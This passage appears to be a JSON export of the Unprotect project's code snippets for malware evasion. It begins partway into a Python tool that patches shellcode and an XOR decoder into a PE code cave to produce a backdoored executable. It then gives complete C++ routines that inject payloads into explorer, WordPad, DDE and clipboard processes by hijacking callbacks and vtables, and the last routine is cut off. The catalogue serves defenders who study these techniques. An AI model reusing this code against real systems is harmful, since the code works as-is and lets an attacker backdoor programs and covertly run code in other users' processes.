esi\r\n\t\t\t\tpayload += b\"\\x83\\xee\"                          # sub esi, (payload_length)\r\n\t\t\t\tpayload += struct.pack(\"B\", len(payload)- 3)    # -3 because we don't count two last instructions\r\n\t\t\t\tpayload += b\"\\x56\"                              # push esi\r\n\t\t\t\tpayload += b\"\\x5f\"                              # pop edi\r\n\t\t\t\tpayload += b\"\\x81\\xc7\"                          # add edi, (size of cave)\r\n\t\t\t\tpayload += struct.pack(\"<I\", cave.size)         # size of cave in Little Endian\r\n\t\t\t\tpayload += b\"\\x56\"                              # push esi\r\n\t\t\t\tpayload += b\"\\x58\"                              # pop eax\r\n\r\n\t\t\t\torigine_offset = image_base + cave.section.VirtualAddress + cave.offset\r\n\t\t\t\tdestination_offset = image_base + entry_section.VirtualAddress\r\n\r\n\t\t\t\tif origine_offset > destination_offset:\r\n\t\t\t\t\tpayload += b\"\\x2d\"                          # sub eax, ????????\r\n\t\t\t\t\tpayload += struct.pack(\"<I\", (origine_offset - destination_offset))\r\n\t\t\t\telse:\r\n\t\t\t\t\tpayload += b\"\\x05\"                          # add eax, ????????\r\n\t\t\t\t\tpayload += struct.pack(\"<I\", (destination_offset - origine_offset))\r\n\r\n\t\t\t\tpayload += b\"\\x50\"         # push eax\r\n\t\t\t\tpayload += b\"\\x5b\"         # pop ebx\r\n\t\t\t\tpayload += b\"\\x81\\xc3\"     # add ebx, (main section start + end)\r\n\t\t\t\tpayload += struct.pack(\"<I\", entry_section.SizeOfRawData)\r\n\r\n\t\t\t\tpayload += b\"\\x3b\\xc6\"     # cmp eax, esi\r\n\t\t\t\tpayload += b\"\\x7c\\x04\"     # jl (xor routine)\r\n\t\t\t\tpayload += b\"\\x3b\\xc7\"     # cmp eax, edi\r\n\t\t\t\tpayload += b\"\\x7c\\x03\"     # jl (inc eax)\r\n\t\t\t\tpayload += b\"\\x80\\x30\"     # xor byte [eax], (xor_key_byte)\r\n\t\t\t\tpayload += struct.pack(\"B\", encryption_key[0])\r\n\t\t\t\tpayload += b\"\\x40\"         # inc eax\r\n\t\t\t\tpayload += b\"\\x3b\\xc3\"     # cmp eax, ebx\r\n\t\t\t\tpayload += b\"\\x75\\xf0\"     # jne (cmp eax, esi)\r\n\r\n\r\n\t\t\t#\r\n\t\t\t# Insert Shellcode\r\n\t\t\t#\r\n\t\t\tif argv.payload:\r\n\t\t\t\tdebug(f\"Writing shellcode payload, size=[{hex(len(shellcode))}]...\")\r\n\r\n\t\t\t\tpayload += bytes(shellcode)\r\n\r\n\t\t\t#\r\n\t\t\t# Epilogue (Restore ESP, registers, entrypoint)\r\n\t\t\t#\r\n\r\n\t\t\tdebug(\"Writing code cave epilogue: restore ESP, flags, registers and jump back to original entrypoint...\")\t\t\r\n\r\n\t\t\t# restore ESP\r\n\t\t\tpayload += b\"\\xb8\" + egg   # mov eax, \"egg\"\r\n\t\t\tpayload += b\"\\x54\"         # push esp\r\n\t\t\tpayload += b\"\\x5f\"         # pop edi\r\n\t\t\tpayload += b\"\\xaf\"         # scasd\r\n\t\t\tpayload += b\"\\x75\\x0c\"     # jnz _pop_ebx\r\n\t\t\tpayload += b\"\\xaf\"         # scasd\r\n\t\t\tpayload += b\"\\x75\\x09\"     # jnz _pop_ebx\r\n\t\t\tpayload += b\"\\x57\"         # push edi\r\n\t\t\tpayload += b\"\\x5c\"         # pop esp\r\n\r\n\t\t\t# Restore Registers\r\n\t\t\tpayload += b\"\\x9D\"         # popfd\r\n\t\t\tpayload += b\"\\x61\"         # popad\t\t\r\n\r\n\t\t\tinstruction_size = 5  # bytes (0xe9/jmp) 0x???????? (Little Endian)\r\n\r\n\t\t\tfrom_offset = cave.section.VirtualAddress + cave.offset + len(payload) + instruction_size\r\n\r\n\t\t\tjmp_to_offset = get_rel_distance(from_offset, entry_point_address)\r\n\r\n\t\t\t# Jump back to original entrypoint\r\n\t\t\tpayload += b\"\\xe9\"                           # jmp\r\n\t\t\tpayload += struct.pack(\"<I\", jmp_to_offset)  # ????????\r\n\r\n\t\t\t# Part of ESP restoration\r\n\t\t\tpayload += b\"\\x5b\"                           # pop ebx\r\n\t\t\tpayload += b\"\\xeb\\xee\"                       # jmp _push_esp\t\t\r\n\r\n\t\t\t#\r\n\t\t\t# Write Final Payload to Section\r\n\t\t\t#\r\n\r\n\t\t\tif len(payload) > cave.size:\r\n\t\t\t\terror(\"Cave size is too small to be used with your payload.\")\r\n\t\t\telse:\r\n\t\t\t\tpe.set_bytes_at_offset((cave.section.PointerToRawData + cave.offset), payload)\r\n\r\n\t\t\t\tfile_info = os.path.splitext(argv.file)\r\n\r\n\t\t\t\toutput_file = f\"{file_info[0]}_backdoored{file_info[1]}\"\r\n\r\n\t\t\t\tsuccess(f\"Success! backdoored version location: \\\"{output_file}\\\".\")\r\n\t\t\t\t\t\t\r\n\t\t\t\tpe.write(output_file)\r\n\texcept Exception as e:\r\n\t\texc_type, exc_obj, exc_tb = sys.exc_info()\r\n\t\terror(f\"{str(e)}, line=[{exc_tb.tb_lineno}]\")"
        },
        {
            "id": 52,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/161/?format=api",
            "description": "Tested on Windows 10 64-bit.",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\nHRESULT GetDesktopShellView(REFIID riid, void **ppv) {\r\n    HWND           hwnd;\r\n    IDispatch      *pdisp;\r\n    IShellWindows  *psw;\r\n    VARIANT        vEmpty = {};\r\n    IShellBrowser  *psb;\r\n    IShellView     *psv;\r\n    HRESULT        hr;\r\n    \r\n    *ppv = NULL;\r\n        \r\n    hr = CoCreateInstance(CLSID_ShellWindows, \r\n      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));\r\n      \r\n    if(hr == S_OK) {\r\n      hr = psw->FindWindowSW(\r\n        &vEmpty, &vEmpty, \r\n        SWC_DESKTOP, (long*)&hwnd, \r\n        SWFO_NEEDDISPATCH, &pdisp);\r\n        \r\n      if(hr == S_OK) {\r\n        hr = IUnknown_QueryService(\r\n          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));\r\n        if(hr == S_OK) {\r\n          hr = psb->QueryActiveShellView(&psv);\r\n          if(hr == S_OK) {\r\n            hr = psv->QueryInterface(riid, ppv);\r\n            psv->Release();\r\n          }\r\n          psb->Release();\r\n        }\r\n        pdisp->Release();\r\n      }\r\n      psw->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT GetShellDispatch(\r\n  IShellView *psv, REFIID riid, void **ppv) \r\n{\r\n    IShellFolderViewDual *psfvd;\r\n    IDispatch            *pdispBackground, *pdisp;;\r\n    HRESULT              hr;\r\n    \r\n    *ppv = NULL;\r\n    hr = psv->GetItemObject(\r\n      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));\r\n    \r\n    if(hr == S_OK) {\r\n      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));\r\n      if(hr == S_OK) {\r\n        hr = psfvd->get_Application(&pdisp);\r\n        if(hr == S_OK) {\r\n          hr = pdisp->QueryInterface(riid, ppv);\r\n          pdisp->Release();\r\n        }\r\n        psfvd->Release();\r\n      }\r\n      pdispBackground->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT ShellExecInExplorer(PCWSTR pszFile) {\r\n    IShellView      *psv;\r\n    IShellDispatch2 *psd;\r\n    HRESULT         hr;\r\n    BSTR            bstrFile;\r\n    VARIANT         vtHide, vtEmpty = {};\r\n    \r\n    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);\r\n    \r\n    bstrFile = SysAllocString(pszFile);\r\n    if(bstrFile == NULL) return E_OUTOFMEMORY;\r\n    \r\n    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));\r\n    if(hr == S_OK) {\r\n      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));\r\n      if(hr == S_OK) {\r\n        V_VT(&vtHide)  = VT_INT;\r\n        V_INT(&vtHide) = SW_HIDE;\r\n        hr = psd->ShellExecuteW(\r\n          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);\r\n        psd->Release();\r\n      }\r\n      psv->Release();\r\n    }\r\n    SysFreeString(bstrFile);\r\n    return hr;\r\n}\r\n\r\nLPVOID GetDnsApiAddr(DWORD pid) {\r\n    LPVOID                m, rm, va = NULL;\r\n    PIMAGE_DOS_HEADER     dos;\r\n    PIMAGE_NT_HEADERS     nt;\r\n    PIMAGE_SECTION_HEADER sh;\r\n    DWORD                 i, cnt, rva=0;\r\n    PULONG_PTR            ds;\r\n    \r\n    // does remote have dnsapi loaded?\r\n    rm  = GetRemoteModuleHandle(pid, L\"dnsapi.dll\");\r\n    if(rm == NULL) return NULL;\r\n    \r\n    // load local copy\r\n    m   = LoadLibrary(L\"dnsapi.dll\");\r\n    dos = (PIMAGE_DOS_HEADER)m;  \r\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  \r\n    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + \r\n          nt->FileHeader.SizeOfOptionalHeader);\r\n          \r\n    // locate the .data segment, save VA and number of pointers\r\n    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {\r\n      if(*(PDWORD)sh[i].Name == *(PDWORD)\".data\") {\r\n        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);\r\n        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);\r\n        break;\r\n      }\r\n    }\r\n    // for each pointer\r\n    for(i=0; i<cnt - 1; i++) {\r\n      // if two pointers side by side are not to code, skip it\r\n      if(!IsCodePtr((LPVOID)ds[i  ])) continue;\r\n      if(!IsCodePtr((LPVOID)ds[i+1])) continue;\r\n      // calculate VA in remote process\r\n      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;\r\n      break;\r\n    }\r\n    return va;\r\n}\r\n\r\n// for any \"Network Error\", close the window\r\nVOID SuppressErrors(LPVOID lpParameter) {\r\n    HWND hw;\r\n    \r\n    for(;;) {\r\n      hw = FindWindowEx(NULL, NULL, NULL, L\"Network Error\");\r\n      if(hw != NULL) {\r\n        PostMessage(hw, WM_CLOSE, 0, 0);\r\n      }\r\n    }\r\n}\r\n\r\nVOID dns_inject(LPVOID payload, DWORD payloadSize) {\r\n    LPVOID dns, cs, ptr;\r\n    DWORD  pid, cnt, tick, i, t;\r\n    HANDLE hp, ht;\r\n    SIZE_T wr;\r\n    HWND   hw;\r\n    WCHAR  unc[32]={L'\\\\', L'\\\\'}; // UNC path to invoke DNS api\r\n\r\n    // 1. obtain process id for explorer\r\n    //    and try read address of function pointers\r\n    GetWindowThreadProcessId(GetShellWindow(), &pid); \r\n    ptr = GetDnsApiAddr(pid);\r\n    \r\n    // 2. create a thread to suppress network errors displayed\r\n    ht = CreateThread(NULL, 0, \r\n      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);\r\n      \r\n    // 3. if dns api not already loaded, try force \r\n    // explorer to load via fake UNC path\r\n    if(ptr == NULL) {\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + 'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      ptr = GetDnsApiAddr(pid);\r\n    }\r\n    \r\n    if(ptr != NULL) {\r\n      // 4. open explorer, backup address of dns function.\r\n      //    allocate RWX memory and write payload\r\n      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n      \r\n      // 5. overwrite pointer to dns function\r\n      //    generate fake UNC path and trigger execution\r\n      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + L'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      \r\n      // 6. restore dns function, release memory and close process\r\n      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n      CloseHandle(hp);\r\n    }\r\n    // 7. terminate thread\r\n    TerminateThread(ht, 0);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      printf(\"\\nusage: dnsinject <payload.bin>\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dns_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
        },
        {
            "id": 53,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/162/?format=api",
            "description": "",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\ntypedef struct tagLINK_COUNT *PLINK_COUNT;\r\ntypedef ATOM LATOM;\r\n\r\ntypedef struct tagSERVER_LOOKUP {\r\n    LATOM           laService;\r\n    LATOM           laTopic;\r\n    HWND            hwndServer;\r\n} SERVER_LOOKUP, *PSERVER_LOOKUP;\r\n\r\ntypedef struct tagCL_INSTANCE_INFO {\r\n    struct tagCL_INSTANCE_INFO *next;\r\n    HANDLE                      hInstServer;\r\n    HANDLE                      hInstClient;\r\n    DWORD                       MonitorFlags;\r\n    HWND                        hwndMother;\r\n    HWND                        hwndEvent;\r\n    HWND                        hwndTimeout;\r\n    DWORD                       afCmd;\r\n    PFNCALLBACK                 pfnCallback;\r\n    DWORD                       LastError;\r\n    DWORD                       tid;\r\n    LATOM                      *plaNameService;\r\n    WORD                        cNameServiceAlloc;\r\n    PSERVER_LOOKUP              aServerLookup;\r\n    short                       cServerLookupAlloc;\r\n    WORD                        ConvStartupState;\r\n    WORD                        flags;              // IIF_ flags\r\n    short                       cInDDEMLCallback;\r\n    PLINK_COUNT                 pLinkCount;\r\n} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;\r\n\r\n#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO\r\n\r\nVOID dde_inject(LPVOID payload, DWORD payloadSize) {\r\n    HWND             hw;\r\n    SIZE_T           rd, wr;\r\n    LPVOID           ptr, cs;\r\n    HANDLE           hp;\r\n    CL_INSTANCE_INFO pcii;\r\n    CONVCONTEXT      cc;\r\n    HCONVLIST        cl;\r\n    DWORD            pid, idInst = 0;\r\n    \r\n    // 1. find a DDEML window and read the address \r\n    //    of CL_INSTANCE_INFO\r\n    hw = FindWindowEx(NULL, NULL, L\"DDEMLMom\", NULL);\r\n    if(hw == NULL) return;\r\n    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);\r\n    if(ptr == NULL) return;\r\n      \r\n    // 2. open the process and read CL_INSTANCE_INFO\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    if(hp == NULL) return;\r\n    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);\r\n    \r\n    // 3. allocate RWX memory and write payload there.\r\n    //    update callback\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    WriteProcessMemory(\r\n      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &cs, sizeof(ULONG_PTR), &wr);\r\n            \r\n    // 4. trigger execution via DDE protocol\r\n    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);\r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    DdeDisconnectList(cl);\r\n    DdeUninitialize(idInst);\r\n    \r\n    // 5. restore original pointer and cleanup\r\n    WriteProcessMemory(\r\n      hp, \r\n      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);\r\n          \r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}\r\n\r\nVOID dde_list(VOID) {\r\n    CONVCONTEXT cc;\r\n    HCONVLIST   cl;\r\n    DWORD       idInst = 0;\r\n    HCONV       c = NULL;\r\n    CONVINFO    ci;\r\n    WCHAR       server[MAX_PATH];\r\n    \r\n    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {\r\n      printf(\"unable to initialize : %i.\\n\", GetLastError());\r\n      return;\r\n    }\r\n    \r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    \r\n    if(cl != NULL) {\r\n      for(;;) {\r\n        c = DdeQueryNextServer(cl, c);\r\n        if(c == NULL) break;\r\n        ci.cb = sizeof(ci);\r\n        DdeQueryConvInfo(c, QID_SYNC, &ci);\r\n        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);\r\n        \r\n        printf(\"Service : %-10ws Process : %ws\\n\", \r\n          server, wnd2proc(ci.hwndPartner));\r\n      }\r\n      DdeDisconnectList(cl);\r\n    } else {\r\n      printf(\"DdeConnectList : %x\\n\", DdeGetLastError(idInst));\r\n    }\r\n    DdeUninitialize(idInst);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      dde_list();\r\n      printf(\"\\n\\nusage: dde_inject <payload>.\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dde_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
        },
        {
            "id": 48,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/156/?format=api",
            "description": "",
            "plain_code": "typedef struct _IRichEditOle_t {\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;\r\n    ULONG_PTR GetClientSite;\r\n    ULONG_PTR GetObjectCount;\r\n    ULONG_PTR GetLinkCount;\r\n    ULONG_PTR GetObject;\r\n    ULONG_PTR InsertObject;\r\n    ULONG_PTR ConvertObject;\r\n    ULONG_PTR ActivateAs;\r\n    ULONG_PTR SetHostNames;\r\n    ULONG_PTR SetLinkAvailable;\r\n    ULONG_PTR SetDvaspect;\r\n    ULONG_PTR HandsOffStorage;\r\n    ULONG_PTR SaveCompleted;\r\n    ULONG_PTR InPlaceDeactivate;\r\n    ULONG_PTR ContextSensitiveHelp;\r\n    ULONG_PTR GetClipboardData;\r\n    ULONG_PTR ImportDataObject;\r\n} _IRichEditOle;\r\n\r\nVOID oleum(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE                hp;\r\n    DWORD                 id;\r\n    HWND                  rew;\r\n    LPVOID                cs, ds, ptr, mem, tbl;\r\n    SIZE_T                rd, wr;\r\n    _IRichEditOle         reo;\r\n    \r\n    // 1. Get the window handle\r\n    rew = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(rew, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n      \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Allocate RW memory for the current address\r\n    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 5. Query the interface\r\n    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);\r\n    \r\n    // 6. Read the memory address\r\n    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 7. Read IRichEditOle.lpVtbl\r\n    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 8. Read virtual function table\r\n    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);\r\n\r\n    // 9. Allocate memory for copy of virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 10. Set the GetClipboardData method to address of payload\r\n    reo.GetClipboardData = (ULONG_PTR)cs;\r\n    \r\n    // 11. Write new virtual function table to remote memory\r\n    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);\r\n    \r\n    // 12. update IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); \r\n    \r\n    // 13. Trigger payload by invoking the GetClipboardData method\r\n    PostMessage(rew, WM_COPY, 0, 0);\r\n    \r\n    // 14. Restore original value of IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 15. Free memory and close process handle\r\n    VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);   \r\n}"
        },
        {
            "id": 49,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/157/?format=api",
            "description": "",
            "plain_code": "typedef struct _editstream {\r\n  DWORD_PTR          dwCookie;\r\n  DWORD              dwError;\r\n  EDITSTREAMCALLBACK pfnCallback;\r\n} EDITSTREAM;\r\n\r\nVOID streamception(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, ds;\r\n    SIZE_T        rd, wr;\r\n    EDITSTREAM    es;\r\n    \r\n    // 1. Get window handles\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 4. Allocate RW memory and copy the EDITSTREAM structure there.\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    es.dwCookie    = 0;\r\n    es.dwError     = 0;\r\n    es.pfnCallback = cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);\r\n    \r\n    // 5. Trigger payload with EM_STREAMIN\r\n    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);\r\n\r\n    // 6. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 50,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/158/?format=api",
            "description": "",
            "plain_code": "VOID wordwarping(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, wwf;\r\n    SIZE_T        rd, wr;\r\n    INPUT         ip;\r\n    \r\n    // 1. Get main window for wordpad.\r\n    //    This will accept simulated keyboard input.\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    \r\n    // 2. Find the rich edit control for wordpad.\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n\r\n    // 3. Try get current address of Wordwrap function\r\n    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);\r\n\r\n    // 4. Obtain the process id for wordpad.\r\n    GetWindowThreadProcessId(rew, &id);\r\n\r\n    // 5. Try open the process.\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 6. Allocate RWX memory for the payload.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    // 7. Write the payload to memory\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 8. Update the callback procedure\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);\r\n\r\n    // 9. Simulate keyboard input to trigger payload\r\n    ip.type           = INPUT_KEYBOARD;\r\n    ip.ki.wVk         = 'A';\r\n    ip.ki.wScan       = 0;\r\n    ip.ki.dwFlags     = 0;\r\n    ip.ki.time        = 0;\r\n    ip.ki.dwExtraInfo = 0;\r\n    \r\n    SetForegroundWindow(rew);\r\n    SendInput(1, &ip, sizeof(ip));\r\n\r\n    // 10. Restore original Wordwrap function (if any)\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);\r\n    \r\n    // 11. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 51,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/160/?format=api",
            "description": "",
            "plain_code": "typedef struct _IUnknown_t {\r\n    // a pointer to virtual function table\r\n    ULONG_PTR lpVtbl;\r\n    // the virtual function table\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD\r\n} IUnknown_t;\r\n\r\n// The following code assumes a valid clipboard window already exists. There is no error checking.\r\nVOID clipboard(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE     hp;\r\n    HWND       hw;\r\n    DWORD      id;\r\n    IUnknown_t iu;\r\n    LPVOID     cs, ds;\r\n    SIZE_T     wr;\r\n    \r\n    // 1. Find a private clipboard.\r\n    //    Obtain the process id and open it\r\n    hw = FindWindowEx(HWND_MESSAGE, NULL, L\"CLIPBRDWNDCLASS\", NULL);\r\n    GetWindowThreadProcessId(hw, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 2. Allocate RWX memory in process and write payload\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 3. Allocate RW memory in process.\r\n    //    Initialize and write IUnknown interface\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    iu.Release = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);\r\n    \r\n    // 4. Set the interface property and trigger execution\r\n    